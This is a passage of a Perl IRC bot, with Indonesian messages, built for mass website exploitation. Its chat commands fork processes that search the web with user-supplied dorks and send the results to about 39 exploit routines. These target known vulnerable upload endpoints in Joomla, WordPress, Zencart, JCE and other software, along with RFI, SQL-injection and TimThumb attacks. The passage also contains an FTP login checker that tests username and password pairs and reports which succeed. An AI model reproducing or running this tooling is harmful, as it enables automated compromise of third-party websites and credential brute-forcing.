  515. if ($cekby10 =~ /search/i){ $bystats10 = "9Up!!!"; } else { $bystats10 = "4Down!!!"; }
  516. if ($cekby11 =~ /search/i){ $bystats11 = "9Up!!!"; } else { $bystats11 = "4Down!!!"; }
  517. if ($cekby12 =~ /search/i){ $bystats12 = "9Up!!!"; } else { $bystats12 = "4Down!!!"; }
  518. if ($cekby13 =~ /search/i){ $bystats13 = "9Up!!!"; } else { $bystats13 = "4Down!!!"; }
  519. my $bypasslogo = "9,1[4!9]15Bypass 4<9=4> ";sleep(3);
  520. &msg("$path","4$bypasslogo 8 Bypass Checker ");
  521. &msg("$path","$bypasslogo9MaGiC1 = $bystats1 ");
  522. &msg("$path","$bypasslogo9MaGiC2 = $bystats2 ");
  523. &msg("$path","$bypasslogo9MaGiC3 = $bystats3 ");
  524. &msg("$path","$bypasslogo9MaGiC4 = $bystats4 ");
  525. &msg("$path","$bypasslogo9MaGiC5 = $bystats5 ");
  526. &msg("$path","$bypasslogo9MaGiC6 = $bystats6 ");
  527. &msg("$path","$bypasslogo9MaGiC7 = $bystats7 ");
  528. &msg("$path","$bypasslogo9MaGiC8 = $bystats8 ");
  529. &msg("$path","$bypasslogo9MaGiC9 = $bystats9 ");
  530. &msg("$path","$bypasslogo9MaGiC10 = $bystats10 ");
  531. &msg("$path","$bypasslogo9MaGiC11 = $bystats10 ");
  532. &msg("$path","$bypasslogo9MaGiC12 = $bystats10 ");
  533. &msg("$path","$bypasslogo9MaGiC13 = $bystats10 ");
  534. &msg("$path","4$bypasslogo 8 End Of Bypass Checker ");
  535. }
  536. ##################################################################### SCAN
  537.  
  538. if ($msg =~ /^$thumbcmd\s+$wpt/i) {
  539. if ($msg=~ /^$thumbcmd\s+(.*)/) {
  540. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  541. my $dork = $1;
  542.  
  543.  
  544. &msg("$path","$startlogo9 Lapor 4$nick 9Lagi scan TimThumb di 4$path ");
  545. &msg("$path","$thumblogo9Dork $dork ");
  546. &msg("$path","$thumblogo9Bugz $bug ")
  547. &msg("$path","$thumblogo9ATTENTION : 4Dilarang flood bot.. 10OK!!!");
  548. &se_start($path,$bug,$simpan,$dork,$engine,1);
  549. }
  550. }
  551. }
  552. }
  553. if ($msg =~ /^$rficmd\s+(.+?)\s+(.*)/) {
  554. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  555. my ($bug,$dork) = ($1,$2);
  556. my $simpan = $nick;
  557. if (&isFound($rfiinjector,"bajak")) {
  558. &msg("$path","$startlogo9 Lapor 4$nick 9Lagi scan RFI di 4$path ");
  559. &msg("$path","$rfilogo9Dork $dork ");
  560. &msg("$path","$rfilogo9Search Engine Now Loading ... ");
  561. &msg("$path","$rfilogo9ATTENTION : 4Dilarang flood bot.. 10OK!!!");
  562. sendraw("MODE $path +m");
  563. &se_start($path,$bug,$simpan,$dork,$engine,5);
  564. } else {
  565. &msg("$path","9,1[4!9]Injector 4<9=4>15 Down!!! ");
  566. }
  567. }
  568. }
  569. }
  570. if ($msg =~ /^$zencmd\s+(.*)/) {
  571. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  572. my ($bug,$dork) = ("admin/sqlpatch.php/password_forgotten.php?action=execute",$1);
  573. my $simpan = $nick;
  574. &msg("$path","$startlogo9 Lapor 4$nick 9Lagi scan Zencart di 4$path ");
  575. &msg("$path","$zenlogo9Dork $dork ");
  576. &msg("$path","$zenlogo9Search Engine Now Loading ... ");
  577. &msg("$path","$zenlogo9ATTENTION : 4Dilarang flood bot.. 10OK!!!");
  578. sendraw("MODE $path +m");
  579. &se_start($path,$bug,$simpan,$dork,$engine,10);
  580. }
  581. }
  582. }
  583. if ($msg =~ /^$sqlcmd\s+(.*)/) {
  584. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  585. my ($bug,$dork) = ($1,$1);
  586. my $simpan = $nick;
  587. &msg("$path","$startlogo9 Lapor 4$nick 9Lagi scan SQL di 4$path ");
  588. &msg("$path","$sqllogo9Dork $dork ");
  589. &msg("$path","$sqllogo9Search Engine Now Loading ... ");
  590. &msg("$path","$sqllogo9ATTENTION : 4Dilarang flood bot.. 10OK!!!");
  591. sendraw("MODE $path +m");
  592. &se_start($path,$bug,$simpan,$dork,$engine,29);
  593. }
  594. }
  595. }
  596. if ($msg =~ /^$photostorecmd\s+(.*)/) {
  597. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  598. my ($bug,$dork) = ("/assets/uploadify/old/uploadify.php",$1);
  599. my $simpan = $nick;
  600. &msg("$path","$startlogo9 Lapor 4$nick 9Lagi scan photostore di 4$path ");
  601. &msg("$path","$photostorelogo9Dork $dork ");
  602. &msg("$path","$photostorelogo9Search Engine Now Loading ... ");
  603. &msg("$path","$photostorelogo9ATTENTION : 4Dilarang flood bot.. 10OK!!!");
  604. sendraw("MODE $path +m");
  605. &se_start($path,$bug,$simpan,$dork,$engine,28);
  606. }
  607. }
  608. }
  609. if ($msg =~ /^$jcecmd\s+(.*)/) {
  610. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  611. my ($bug,$dork) = ("/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=cf6dd3cf1923c950586d0dd595c8e20b",$1);
  612. my $simpan = $nick;
  613. &msg("$path","$startlogo9 Lapor 4$nick 9Lagi scan JCE di 4$path ");
  614. &msg("$path","$jcelogo9Dork $dork ");
  615. &msg("$path","$jcelogo9Search Engine Now Loading ... ");
  616. &msg("$path","$jcelogo9ATTENTION : 4Dilarang flood bot.. 10OK!!!");
  617. sendraw("MODE $path +m");
  618. &se_start($path,$bug,$simpan,$dork,$engine,13);
  619. }
  620. }
  621. }
  622. if ($msg =~ /^$switchbladecmd\s+(.*)/) {
  623. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  624. my ($bug,$dork) = ("/wp-content/themes/switchblade/framework/_scripts/valums_uploader/php.php",$1);
  625. my $simpan = $nick;
  626. &msg("$path","$startlogo9 Lapor 4$nick 9Lagi scan Switchblade di 4$path ");
  627. &msg("$path","$switchbladelogo9Dork $dork ");
  628. &msg("$path","$switchbladelogo9Search Engine Now Loading ... ");
  629. &msg("$path","$switchbladelogo9ATTENTION : 4Dilarang flood bot.. 10OK!!!");
  630. sendraw("MODE $path +m");
  631. &se_start($path,$bug,$simpan,$dork,$engine,25);
  632. }
  633. }
  634. }
  635. if ($msg =~ /^$jnewscmd\s+(.*)/) {
  636. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  637. my ($bug,$dork) = ("/components/com_jnews/includes/openflashchart/php-ofc-library/ofc_upload_image.php",$1);
  638. my $simpan = $nick;
  639. &msg("$path","$startlogo9 Lapor 4$nick 9Lagi scan JNews di 4$path ");
  640. &msg("$path","$jnewslogo9Dork $dork ");
  641. &msg("$path","$jnewsogo9Search Engine Now Loading ... ");
  642. &msg("$path","$jnewslogo9ATTENTION : 4Dilarang flood bot.. 10OK!!!");
  643. sendraw("MODE $path +m");
  644. &se_start($path,$bug,$simpan,$dork,$engine,33);
  645. }
  646. }
  647. }
  648. if ($msg =~ /^$joomleaguecmd\s+(.*)/) {
  649. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  650. my ($bug,$dork) = ("/components/com_joomleague/assets/classes/open-flash-chart/ofc_upload_image.php",$1);
  651. my $simpan = $nick;
  652. &msg("$path","$startlogo9 Lapor 4$nick 9Lagi scan joomleague di 4$path ");
  653. &msg("$path","$joomleaguelogo9Dork $dork ");
  654. &msg("$path","$joomleaguelogo9Search Engine Now Loading ... ");
  655. &msg("$path","$joomleaguelogo9ATTENTION : 4Dilarang flood bot.. 10OK!!!");
  656. sendraw("MODE $path +m");
  657. &se_start($path,$bug,$simpan,$dork,$engine,27);
  658. }
  659. }
  660. }
  661. if ($msg =~ /^$clipbucketcmd\s+(.*)/) {
  662. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  663. my ($bug,$dork) = ("/admin_area/charts/ofc-library/ofc_upload_image.php",$1);
  664. my $simpan = $nick;
  665. &msg("$path","$startlogo9 Lapor 4$nick 9Lagi scan ClipBucket di 4$path ");
  666. &msg("$path","$clipbucketlogo9Dork $dork ");
  667. &msg("$path","$clipbucketlogo9Search Engine Now Loading ... ");
  668. &msg("$path","$clipbucketlogo9ATTENTION : 4Dilarang flood bot.. 10OK!!!");
  669. sendraw("MODE $path +m");
  670. &se_start($path,$bug,$simpan,$dork,$engine,19);
  671. }
  672. }
  673. }
  674. if ($msg =~ /^$pointofsalecmd\s+(.*)/) {
  675. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  676. my ($bug,$dork) = ("/application/libraries/ofc-library/ofc_upload_image.php",$1);
  677. my $simpan = $nick;
  678. &msg("$path","$startlogo9 Lapor 4$nick 9Lagi scan Point Of sale di 4$path ");
  679. &msg("$path","$pointofsalelogo9Dork $dork ");
  680. &msg("$path","$pointofsalelogo9Search Engine Now Loading ... ");
  681. &msg("$path","$pointofsalelogo9ATTENTION : 4Dilarang flood bot.. 10OK!!!");
  682. sendraw("MODE $path +m");
  683. &se_start($path,$bug,$simpan,$dork,$engine,30);
  684. }
  685. }
  686. }
  687. if ($msg =~ /^$redmistyccmd\s+(.*)/) {
  688. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  689. my ($bug,$dork) = ("/com_redmystic/chart/ofc-library/ofc_upload_image.php",$1);
  690. my $simpan = $nick;
  691. &msg("$path","$startlogo9 Lapor 4$nick 9Lagi scan RedMistyc di 4$path ");
  692. &msg("$path","$redmistyclogo9Dork $dork ");
  693. &msg("$path","$redmistyclogo9Search Engine Now Loading ... ");
  694. &msg("$path","$redmistyclogo9ATTENTION : 4Dilarang flood bot.. 10OK!!!");
  695. sendraw("MODE $path +m");
  696. &se_start($path,$bug,$simpan,$dork,$engine,33);
  697. }
  698. }
  699. }
  700. if ($msg =~ /^$reflexcmd\s+(.*)/) {
  701. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  702. my ($bug,$dork) = ("/wp-content/plugins/reflex-gallery/admin/scripts/FileUploader/php.php",$1);
  703. my $simpan = $nick;
  704. &msg("$path","$startlogo9 Lapor 4$nick 9Lagi scan ReFlex Gallery di 4$path ");
  705. &msg("$path","$reflexlogo9Dork $dork ");
  706. &msg("$path","$reflexlogo9Search Engine Now Loading ... ");
  707. &msg("$path","$reflexlogo9ATTENTION : 4Dilarang flood bot.. 10OK!!!");
  708. sendraw("MODE $path +m");
  709. &se_start($path,$bug,$simpan,$dork,$engine,22);
  710. }
  711. }
  712. }
  713. if ($msg =~ /^$coldfusioncmd\s+(.*)/) {
  714. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  715. my ($bug,$dork) = ("/wp-content/themes/ColdFusion/includes/uploadify/upload_settings_image.php",$1);
  716. my $simpan = $nick;
  717. &msg("$path","$startlogo9 Lapor 4$nick 9Lagi scan Coldfusion di 4$path ");
  718. &msg("$path","$coldfusionlogo9Dork $dork ");
  719. &msg("$path","$coldfusionlogo9Search Engine Now Loading ... ");
  720. &msg("$path","$coldfusionlogo9ATTENTION : 4Dilarang flood bot.. 10OK!!!");
  721. sendraw("MODE $path +m");
  722. &se_start($path,$bug,$simpan,$dork,$engine,37);
  723. }
  724. }
  725. }
  726. if ($msg =~ /^$mmformcmd\s+(.*)/) {
  727. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  728. my ($bug,$dork) = ("/wp-content/plugins/mm-forms-community/includes/doajaxfileupload.php",$1);
  729. my $simpan = $nick;
  730. &msg("$path","$startlogo9 Lapor 4$nick 9Lagi scan mmform di 4$path ");
  731. &msg("$path","$mmformlogo9Dork $dork ");
  732. &msg("$path","$mmformlogo9Search Engine Now Loading ... ");
  733. &msg("$path","$mmformlogo9ATTENTION : 4Dilarang flood bot.. 10OK!!!");
  734. sendraw("MODE $path +m");
  735. &se_start($path,$bug,$simpan,$dork,$engine,23);
  736. }
  737. }
  738. }
  739. if ($msg =~ /^$phpvmscmd\s+(.*)/) {
  740. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  741. my ($bug,$dork) = ("/core/lib/php-ofc-library/ofc_upload_image.php",$1);
  742. my $simpan = $nick;
  743. &msg("$path","$startlogo9 Lapor 4$nick 9Lagi scan PhpVms di 4$path ");
  744. &msg("$path","$phpvmslogo9Dork $dork ");
  745. &msg("$path","$phpvmslogo9Search Engine Now Loading ... ");
  746. &msg("$path","$phpvmslogo9ATTENTION : 4Dilarang flood bot.. 10OK!!!");
  747. sendraw("MODE $path +m");
  748. &se_start($path,$bug,$simpan,$dork,$engine,21);
  749. }
  750. }
  751. }
  752. if ($msg =~ /^$maiancmd\s+(.*)/) {
  753. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  754. my ($bug,$dork) = ("/com_maianmedia/utilities/charts/php-ofc-library/ofc_upload_image.php",$1);
  755. my $simpan = $nick;
  756. &msg("$path","$startlogo9 Lapor 4$nick 9Lagi scan Maianmedia di 4$path ");
  757. &msg("$path","$maianlogo9Dork $dork ");
  758. &msg("$path","$maianlogo9Search Engine Now Loading ... ");
  759. &msg("$path","$maianlogo9ATTENTION : 4Dilarang flood bot.. 10OK!!!");
  760. sendraw("MODE $path +m");
  761. &se_start($path,$bug,$simpan,$dork,$engine,33);
  762. }
  763. }
  764. }
  765. if ($msg =~ /^$civicrmcmd\s+(.*)/) {
  766. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  767. my ($bug,$dork) = ("/com_civicrm/civicrm/packages/OpenFlashChart/php-ofc-library/ofc_upload_image.php",$1);
  768. my $simpan = $nick;
  769. &msg("$path","$startlogo9 Lapor 4$nick 9Lagi scan Civicrm di 4$path ");
  770. &msg("$path","$civicrmlogo9Dork $dork ");
  771. &msg("$path","$civicrmlogo9Search Engine Now Loading ... ");
  772. &msg("$path","$civicrmlogo9ATTENTION : 4Dilarang flood bot.. 10OK!!!");
  773. sendraw("MODE $path +m");
  774. &se_start($path,$bug,$simpan,$dork,$engine,33);
  775. }
  776. }
  777. }
  778. if ($msg =~ /^$lettercmd\s+(.*)/) {
  779. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  780. my ($bug,$dork) = ("/com_jnewsletter/includes/openflashchart/php-ofc-library/ofc_upload_image.php",$1);
  781. my $simpan = $nick;
  782. &msg("$path","$startlogo9 Lapor 4$nick 9Lagi scan letter di 4$path ");
  783. &msg("$path","$letterlogo9Dork $dork ");
  784. &msg("$path","$letterlogo9Search Engine Now Loading ... ");
  785. &msg("$path","$letterlogo9ATTENTION : 4Dilarang flood bot.. 10OK!!!");
  786. sendraw("MODE $path +m");
  787. &se_start($path,$bug,$simpan,$dork,$engine,33);
  788. }
  789. }
  790. }
  791. if ($msg =~ /^$livecartcmd\s+(.*)/) {
  792. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  793. my ($bug,$dork) = ("/library/openFlashChart/ofc_upload_image.php",$1);
  794. my $simpan = $nick;
  795. &msg("$path","$startlogo9 Lapor 4$nick 9Lagi scan Live Cart di 4$path ");
  796. &msg("$path","$livecartlogo9Dork $dork ");
  797. &msg("$path","$livecartlogo9Search Engine Now Loading ... ");
  798. &msg("$path","$livecartlogo9ATTENTION : 4Dilarang flood bot.. 10OK!!!");
  799. sendraw("MODE $path +m");
  800. &se_start($path,$bug,$simpan,$dork,$engine,24);
  801. }
  802. }
  803. }
  804. if ($msg =~ /^$maian15cmd\s+(.*)/) {
  805. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  806. my ($bug,$dork) = ("/com_maian15/charts/php-ofc-library/ofc_upload_image.php",$1);
  807. my $simpan = $nick;
  808. &msg("$path","$startlogo9 Lapor 4$nick 9Lagi scan Maian15 di 4$path ");
  809. &msg("$path","$maian15logo9Dork $dork ");
  810. &msg("$path","$maian15logo9Search Engine Now Loading ... ");
  811. &msg("$path","$maian15logo9ATTENTION : 4Dilarang flood bot.. 10OK!!!");
  812. sendraw("MODE $path +m");
  813. &se_start($path,$bug,$simpan,$dork,$engine,33);
  814. }
  815. }
  816. }
  817. if ($msg =~ /^$acycmd\s+(.*)/) {
  818. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  819. my ($bug,$dork) = ("/com_acymailing/inc/openflash/php-ofc-library/ofc_upload_image.php",$1);
  820. my $simpan = $nick;
  821. &msg("$path","$startlogo9 Lapor 4$nick 9Lagi scan Acymailing di 4$path ");
  822. &msg("$path","$acylogo9Dork $dork ");
  823. &msg("$path","$acylogo9Search Engine Now Loading ... ");
  824. &msg("$path","$acylogo9ATTENTION : 4Dilarang flood bot.. 10OK!!!");
  825. sendraw("MODE $path +m");
  826. &se_start($path,$bug,$simpan,$dork,$engine,33);
  827. }
  828. }
  829. }
  830. if ($msg =~ /^$jinccmd\s+(.*)/) {
  831. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  832. my ($bug,$dork) = ("/com_jinc/classes/graphics/php-ofc-library/ofc_upload_image.php",$1);
  833. my $simpan = $nick;
  834. &msg("$path","$startlogo9 Lapor 4$nick 9Lagi scan JINC di 4$path ");
  835. &msg("$path","$jinclogo9Dork $dork ");
  836. &msg("$path","$zinclogo9Search Engine Now Loading ... ");
  837. &msg("$path","$jincologo9ATTENTION : 4Dilarang flood bot.. 10OK!!!");
  838. sendraw("MODE $path +m");
  839. &se_start($path,$bug,$simpan,$dork,$engine,33);
  840. }
  841. }
  842. }
  843. if ($msg =~ /^$rightnowcmd\s+(.*)/) {
  844. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  845. my ($bug,$dork) = ("include.php",$1);
  846. my $simpan = $nick;
  847. &msg("$path","$startlogo9 Lapor 4$nick 9Lagi scan WordPress di 4$path ");
  848. &msg("$path","$rightnowlogo9Dork $dork ");
  849. &msg("$path","$rigthnowlogo9Search Engine Now Loading ... ");
  850. &msg("$path","$rightnowlogo9ATTENTION : 4Dilarang flood bot.. 10OK!!!");
  851. sendraw("MODE $path +m");
  852. &se_start($path,$bug,$simpan,$dork,$engine,31);
  853. }
  854. }
  855. }
  856. if ($msg =~ /^$kidocmd\s+(.*)/) {
  857. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  858. my ($bug,$dork) = ("/wp-content/themes/kiddo/app/assets/js/uploadify/uploadify.php",$1);
  859. my $simpan = $nick;
  860. &msg("$path","$startlogo9 Lapor 4$nick 9Lagi scan Kiddo di 4$path ");
  861. &msg("$path","$kidologo9Dork $dork ");
  862. &msg("$path","$kidologo9Search Engine Now Loading ... ");
  863. &msg("$path","$kidologo9ATTENTION : 4Dilarang flood bot.. 10OK!!!");
  864. sendraw("MODE $path +m");
  865. &se_start($path,$bug,$simpan,$dork,$engine,32);
  866. }
  867. }
  868. }
  869. if ($msg =~ /^$rcicmd\s+(.*)/) {
  870. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  871. my ($bug,$dork) = ("/php-ofc-library/ofc_upload_image.php",$1);
  872. my $simpan = $nick;
  873. &msg("$path","$startlogo9 Lapor 4$nick 9Lagi scan Joomla uploader di 4$path ");
  874. &msg("$path","$rcilogo9Dork $dork ");
  875. &msg("$path","$rcilogo9Search Engine Now Loading ... ");
  876. &msg("$path","$rcilogo9ATTENTION : 4Dilarang flood bot.. 10OK!!!");
  877. sendraw("MODE $path +m");
  878. &se_start($path,$bug,$simpan,$dork,$engine,33);
  879. }
  880. }
  881. }
  882. if ($msg =~ /^$bloggcmd\s+(.*)/) {
  883. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  884. my ($bug,$dork) = ("/wp-content/themes/Bloggie/themify/themify-ajax.php?upload=1",$1);
  885. my $simpan = $nick;
  886. &msg("$path","$startlogo9 Lapor 4$nick 9Lagi scan Bloggie di 4$path ");
  887. &msg("$path","$blogglogo9Dork $dork ");
  888. &msg("$path","$blogglogo9Search Engine Now Loading ... ");
  889. &msg("$path","$blogglogo9ATTENTION : 4Dilarang flood bot.. 10OK!!!");
  890. sendraw("MODE $path +m");
  891. &se_start($path,$bug,$simpan,$dork,$engine,34);
  892. }
  893. }
  894. }
  895. if ($msg =~ /^$sucocmd\s+(.*)/) {
  896. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  897. my ($bug,$dork) = ("/wp-content/themes/suco/themify/themify-ajax.php?upload=1",$1);
  898. my $simpan = $nick;
  899. &msg("$path","$startlogo9 Lapor 4$nick 9Lagi scan Suco di 4$path ");
  900. &msg("$path","$sucologo9Dork $dork ");
  901. &msg("$path","$sucologo9Search Engine Now Loading ... ");
  902. &msg("$path","$sucologo9ATTENTION : 4Dilarang flood bot.. 10OK!!!");
  903. sendraw("MODE $path +m");
  904. &se_start($path,$bug,$simpan,$dork,$engine,35);
  905. }
  906. }
  907. }
  908. if ($msg =~ /^$ithemescmd\s+(.*)/) {
  909. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  910. my ($bug,$dork) = ("/wp-content/themes/ithemes2/themify/themify-ajax.php?upload=1",$1);
  911. my $simpan = $nick;
  912. &msg("$path","$startlogo9 Lapor 4$nick 9Lagi scan Ithemes di 4$path ");
  913. &msg("$path","$ithemeslogo9Dork $dork ");
  914. &msg("$path","$ithemeslogo9Search Engine Now Loading ... ");
  915. &msg("$path","$ithemeslogo9ATTENTION : 4Dilarang flood bot.. 10OK!!!");
  916. sendraw("MODE $path +m");
  917. &se_start($path,$bug,$simpan,$dork,$engine,36);
  918. }
  919. }
  920. }
  921. if ($msg =~ /^$upcmd\s+(.*)/) {
  922. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  923. my ($bug,$dork) = ("/plugins/ajax-comment-posting",$1);
  924. my $simpan = $nick;
  925. &msg("$path","$startlogo9 Lapor 4$nick 9Lagi scan uploadify di 4$path ");
  926. &msg("$path","$uplogo9Dork $dork ");
  927. &msg("$path","$uplogo9Search Engine Now Loading ... ");
  928. &msg("$path","$uplogo9ATTENTION : 4Dilarang flood bot.. 10OK!!!");
  929. sendraw("MODE $path +m");
  930. &se_start($path,$bug,$simpan,$dork,$engine,37);
  931. }
  932. }
  933. }
  934. if ($msg =~ /^$pthumbcmd\s+(.*)/) {
  935. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  936. my ($bug,$dork) = ("",$1);
  937.  
  938. &msg("$path","$startlogo9 Lapor 4$nick 9Lagi scan phpthumb di 4$path ");
  939. &msg("$path","$pthumblogo9Dork $dork ");
  940. &msg("$path","$pthumblogo9Search Engine Now Loading ... ");
  941. &msg("$path","$pthumblogo9ATTENTION : 4Dilarang flood bot.. 10OK!!!");
  942. sendraw("MODE $path +m");
  943. &se_start($path,$bug,$simpan,$dork,$engine,38);
  944. }
  945. }
  946. }
  947. if ($msg =~ /^$revcmd\s+(.*)/) {
  948. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  949. my ($bug,$dork) = ("",$1);
  950.  
  951. &msg("$path","$startlogo9 Lapor 4$nick 9Lagi scan phpthumb di 4$path ");
  952. &msg("$path","$vdlogo9Dork $dork ");
  953. &msg("$path","$vdlogo9Search Engine Now Loading ... ");
  954. &msg("$path","$vdlogo9ATTENTION : 4Dilarang flood bot.. 10OK!!!");
  955. sendraw("MODE $path +m");
  956. &se_start($path,$bug,$simpan,$dork,$engine,39);
  957. }
  958. }
  959. }
  960. if ($msg =~ /^$ftpcmd\s+(.+?)\s+(.*)\s+(.*)/) {
  961. my $url = $_[0];
  962. my $host = $_[1];
  963. my $user = $_[2];
  964. my $pass = $_[3];
  965. if (my $pid = fork) {
  966. waitpid($pid, 0);
  967. } else {
  968. if (fork) { exit; } else {
  969. my ($host,$user,$pass) = ($1,$2,$3);
  970. &msg("$path","9,1[4!9]FTP 4<9=4>15 Checking $host | $user:$pass");
  971. my $success = 1;
  972. use Net::FTP;
  973. my $ftp = Net::FTP->new($host, Debug => 0, Timeout => 5);
  974. $success = 0 if $ftp->login($user,$pass);
  975. $ftp->quit;
  976. if ($success == 0) {
  977. &notice("$nick","15,1 [9FTP15] [ 9http://".$host." 15] [".$user.":".$pass."15] 9Success ");
  978. } else {
  979. &notice("$nick","15,1 [9FTP15] [ 9http://".$host." 15] [".$user.":".$pass."15] 4Denied ");
  980. }
  981. }
  982. }
  983. }
  984. }
  985. }
  986. for(my $c=0; $c<= $#lines; $c++) {
  987. $line = $lines[$c];
  988. $line = $line_temp.$line if ($line_temp);
  989. $line_temp = '';
  990. $line =~ s/\r$//;
  991. unless ($c == $#lines) {
  992. parse("$line");
  993. } else {
  994. if ($#lines == 0) {
  995. parse("$line");
  996. } elsif ($lines[$c] =~ /\r$/) {
  997. parse("$line");
  998. } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  999. parse("$line");
  1000. } else {
  1001. $line_temp = $line;
  1002. }
  1003. }
  1004. }
  1005. }
  1006. }
  1007. ##################################################################################
  1008. sub type() {
  1009. my ($chan,$bug,$simpan,$dork,$engine,$type) = @_;
  1010. if ($type == 1){$type=&thumb_exploit($chan,$bug,$simpan,$dork,$engine);}
  1011. elsif ($type == 2){$type=&whmcs_exploit($chan,$bug,$simpan,$dork,$engine);}
  1012. elsif ($type == 3){$type=&lfi_exploit($chan,$bug,$simpan,$dork,$engine);}
  1013. elsif ($type == 4){$type=&zero_exploit($chan,$bug,$simpan,$dork,$engine);}
  1014. elsif ($type == 5){$type=&rfi_exploit($chan,$bug,$simpan,$dork,$engine);}
  1015. elsif ($type == 6){$type=&xml_exploit($chan,$bug,$simpan,$dork,$engine);}
  1016. elsif ($type == 7){$type=&e107_exploit($chan,$bug,$simpan,$dork,$engine);}
  1017. elsif ($type == 8){$type=&ih_exploit($chan,$bug,$simpan,$dork,$engine);}
  1018. elsif ($type == 9){$type=&osco_exploit($chan,$bug,$simpan,$dork,$engine);}
  1019. elsif ($type == 10){$type=&zen_exploit($chan,$bug,$simpan,$dork,$engine);}
  1020. elsif ($type == 11){$type=&rfg_exploit($chan,$bug,$simpan,$dork,$engine);}
  1021. elsif ($type == 12){$type=&jnews_exploit($chan,$bug,$simpan,$dork,$engine);}
  1022. elsif ($type == 13){$type=&jce_exploit($chan,$bug,$simpan,$dork,$engine);}
  1023. elsif ($type == 14){$type=&jinc_exploit($chan,$bug,$simpan,$dork,$engine);}
  1024. elsif ($type == 15){$type=&acy_exploit($chan,$bug,$simpan,$dork,$engine);}
  1025. elsif ($type == 16){$type=&maian_exploit($chan,$bug,$simpan,$dork,$engine);}
  1026. elsif ($type == 17){$type=&civicrm_exploit($chan,$bug,$simpan,$dork,$engine);}
  1027. elsif ($type == 18){$type=&letter_exploit($chan,$bug,$simpan,$dork,$engine);}
  1028. elsif ($type == 19){$type=&clipbucket_exploit($chan,$bug,$simpan,$dork,$engine);}
  1029. elsif ($type == 20){$type=&redmistyc_exploit($chan,$bug,$simpan,$dork,$engine);}
  1030. elsif ($type == 21){$type=&phpvms_exploit($chan,$bug,$simpan,$dork,$engine);}
  1031. elsif ($type == 22){$type=&reflex_exploit($chan,$bug,$simpan,$dork,$engine);}
  1032. elsif ($type == 23){$type=&maian15_exploit($chan,$bug,$simpan,$dork,$engine);}
  1033. elsif ($type == 24){$type=&livecart_exploit($chan,$bug,$simpan,$dork,$engine);}
  1034. elsif ($type == 25){$type=&switchblade_exploit($chan,$bug,$simpan,$dork,$engine);}
  1035. elsif ($type == 26){$type=&coldfusion_exploit($chan,$bug,$simpan,$dork,$engine);}
  1036. elsif ($type == 27){$type=&joomleague_exploit($chan,$bug,$simpan,$dork,$engine);}
  1037. elsif ($type == 28){$type=&photostore_exploit($chan,$bug,$simpan,$dork,$engine);}
  1038. elsif ($type == 29){$type=&sql_exploit($chan,$bug,$simpan,$dork,$engine);}
  1039. elsif ($type == 30){$type=&pointofsale_exploit($chan,$bug,$simpan,$dork,$engine);}
  1040. elsif ($type == 31){$type=&rightnow_exploit($chan,$bug,$simpan,$dork,$engine);}
  1041. elsif ($type == 32){$type=&kido_exploit($chan,$bug,$simpan,$dork,$engine);}
  1042. elsif ($type == 33){$type=&rci_exploit($chan,$bug,$simpan,$dork,$engine);}
  1043. elsif ($type == 34){$type=&blogg_exploit($chan,$bug,$simpan,$dork,$engine);}
  1044. elsif ($type == 35){$type=&suco_exploit($chan,$bug,$simpan,$dork,$engine);}
  1045. elsif ($type == 36){$type=&ithemes_exploit($chan,$bug,$simpan,$dork,$engine);}
  1046. elsif ($type == 37){$type=&up_exploit($chan,$bug,$simpan,$dork,$engine);}
  1047. elsif ($type == 38){$type=&pthumb_exploit($chan,$bug,$simpan,$dork,$engine);}
  1048. elsif ($type == 39){$type=&rev_exploit($chan,$bug,$simpan,$dork,$engine);}
  1049. }
  1050. ##################################################################################
  1051. sub se_start() {
  1052. my ($chan,$bug,$simpan,$dork,$engine,$type) = @_;
  1053. if ($gps == 1) {
  1054. if ($engine =~ /ae/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AE",$type); } exit; } }
  1055. if ($engine =~ /ar/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AR",$type); } exit; } }
